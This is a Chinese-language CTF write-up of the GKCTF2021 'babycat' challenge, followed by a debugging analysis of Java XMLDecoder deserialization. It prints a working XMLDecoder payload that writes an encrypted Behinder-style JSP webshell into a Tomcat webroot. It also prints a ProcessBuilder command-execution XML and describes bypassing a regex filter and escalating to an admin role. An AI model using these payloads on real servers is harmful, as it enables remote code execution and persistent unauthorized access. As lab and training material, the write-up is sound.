通过一道CTF题学习XMLDecoder反序列化

通过一道CTF题学习XMLDecoder反序列化

摘要:GKCTF2021 babycat复现+XMLDecoder反序列化学习的简单记录。

0x01 赛题复现

复现平台为BUUOJ,简略写一下过程。

1、上来是个登录框,弹框说不允许。尝试注入,弹框”username or password error”,布尔和时间都无果。F12注意到js逻辑中有注册逻辑,路由为/register,抓包构造数据包注册成功。b165

2、DownloadTest存在任意文件下载,常规操作直接读Web.xml后读*.class,然后JD-GUI反编译。

b166

3、上传处要求admin,审计源码发现正则过滤以及权限赋值逻辑。

iShot2022-01-23 20.39.49

iShot2022-01-23 20.40.33

用两个tricks绕过:

  • 内联注入绕过正则
  • 二次json赋值置role为admin

iShot2022-01-23 20.43.05

4、审计上传逻辑,有白名单,无法直接传jsp。而后发现本题用xml文件记录用户数据,并在baseDao处发现XMLDecoder,文件可被上传覆盖,直接上传一个恶意xml,然后重新注册一个逻辑触发该漏洞即可。无法回显,使用PrintWriter写shell,PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string>
<void method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void>
<void method="close"/>
</object>
</java>

5、冰蝎上号,命令执行完事。

0x02 XMLDecoder反序列化分析

同XMLDecoder相关的洞是Weblogic有:

  • CVE-2017-3506
  • CVE-2017-10271
  • CVE-2019-2725

本文单对XMLDecoder的执行流程做一个分析。

本地复现

先写个命令执行的恶意xml弹个计算器(这个简单的,看这篇文章的读者建议不要看我下面贴出来的代码,而是先自己按照其他详细复现教程复现一遍再看后面的分析):

P.S 这里我用Java agent的attach方式监听了com.sun.beans.decoder.DocumentHandler,至于为什么它后面有解释。

1
2
3
4
5
6
7
8
9
10
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1" >
<void index="0">
<string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</void>
</array>
<void method="start"/>
</object>
</java>

含XMLDecoder的处理类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package top.hn13;

import com.sun.tools.attach.*;

import java.beans.XMLDecoder;
import java.io.*;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.List;
import java.util.concurrent.TimeUnit;

public class Main {
public static void main(String[] args) throws InterruptedException, IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {

VirtualMachine attach = null;
List<VirtualMachineDescriptor> list = VirtualMachine.list();

String path = "calc.xml";
File file = new File(path);
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
} catch (FileNotFoundException e) {
e.printStackTrace();
}

BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xmlDecoder = new XMLDecoder(bis);

// agent用于监听程序运行
for(VirtualMachineDescriptor vir : list){
// System.out.println(vir.displayName());
if(vir.displayName().endsWith("top.hn13.Main")){
System.out.println(vir.id());
attach = VirtualMachine.attach(vir.id());
attach.loadAgent("/Users/hn13/agentTest.jar");
}
}


// System.out.println("Start deserialization!");
xmlDecoder.readObject();
xmlDecoder.close();

attach.detach();

}
}

中间拿之前写的agent稍微改了改来hook XMLDecoder的核心处理类DocumentHandler里的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package top.hn13.agent;

import javassist.*;


import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import java.util.Objects;

enum MethodName{
startDocument,
startElement,
endElement
}

public class TraceAgent {
private static final String HOOK_CLASS = "com.sun.beans.decoder.DocumentHandler";

public static void premain(String args, final Instrumentation inst){
loadAgent(args, inst);
}

public static void agentmain(String args, final Instrumentation inst){
loadAgent(args, inst);
}

private static void loadAgent(String arg, final Instrumentation inst){
ClassFileTransformer classFileTransformer = createClassFileTransformer();

inst.addTransformer(classFileTransformer, true);

Class[] loadedClass = inst.getAllLoadedClasses();

for (Class clazz : loadedClass){
String className = clazz.getName();
if(inst.isModifiableClass(clazz)){
if(className.equals(HOOK_CLASS)){
System.out.println("ClassName: " + className);
System.out.println("That's ok!");
try{
inst.retransformClasses(clazz);
}catch(UnmodifiableClassException e){
e.printStackTrace();
}
}
}
}


}

private static ClassFileTransformer createClassFileTransformer(){
return new ClassFileTransformer() {
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");

if(className.equals(HOOK_CLASS)){
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));

for(MethodName methodName : MethodName.values()){
CtMethod method = ctClass.getDeclaredMethod(methodName.toString());
if(Objects.equals(methodName.toString(), "startDocument")) {
//System.out.println(methodName.toString());
method.insertBefore("System.out.println(\"Calling method \"+\"" + methodName.toString() + " \");");
}else if(Objects.equals(methodName.toString(), "startElement")){
//System.out.println(methodName.toString());
method.insertBefore("System.out.println(\"Calling method \"+\""+methodName.toString()+" <\" + $3 + \">\");");
}else{
method.insertBefore("System.out.println(\"Calling method \"+\""+methodName.toString()+" </\" + $3 + \">\");");
}
}


classfileBuffer = ctClass.toBytecode();

} catch (IOException e) {
e.printStackTrace();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
}

}
return classfileBuffer;
}
};
}
}

运行结果

Simple API for XML(SAX)

Java有SAX和DOM两种原生的解析XML方案,XMLDecoder采用的为SAX方案。

对SAX需要知道这三点:

  • SAX的解析方式是逐行、逐个标签进行解析,这点可以通过上图Main的运行结果和相应的xml文件对照看出

  • SAX读取XML文档时主要通过触发以下回调方法进行解析,如上图运行结果

startDocument()

startElement()

characters()

endElement()

endDocument()

  • 可以自定义SAX解析,核心在于需要自己实现Handler,核心伪代码如下:
1
2
3
4
5
6
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
SAXParser parser = saxParserFactory.newSAXParser();
OwnHandler handler = new OwnHandler(); //OwnHandler为继承自DefaultHandler类的自定义处理类,可以根据需求覆写第二点提到的五个方法
String path = "evil.xml";
File file = new File(path);
parser.parse(file, handler);

调试

现在ProcessBuilder#start()处下断点拿到调用栈:

iShot2022-01-24 22.11.15

注意到倒数第六行,DocumentHandler,点进去:iShot2022-01-24 22.16.21

所以我们直接跟踪DocumentHandler便可。

然后在

startDocument()

startElement()

characters()

endElement()

endDocument()

这几处下断点便可以进行调试了,具体解析调试过程不贴图了,感兴趣的读者自己调试一遍更为清晰。直接跳到触发处:

iShot2022-01-24 22.27.43

iShot2022-01-24 22.31.39

Expression对象调用start直接命令执行。


评论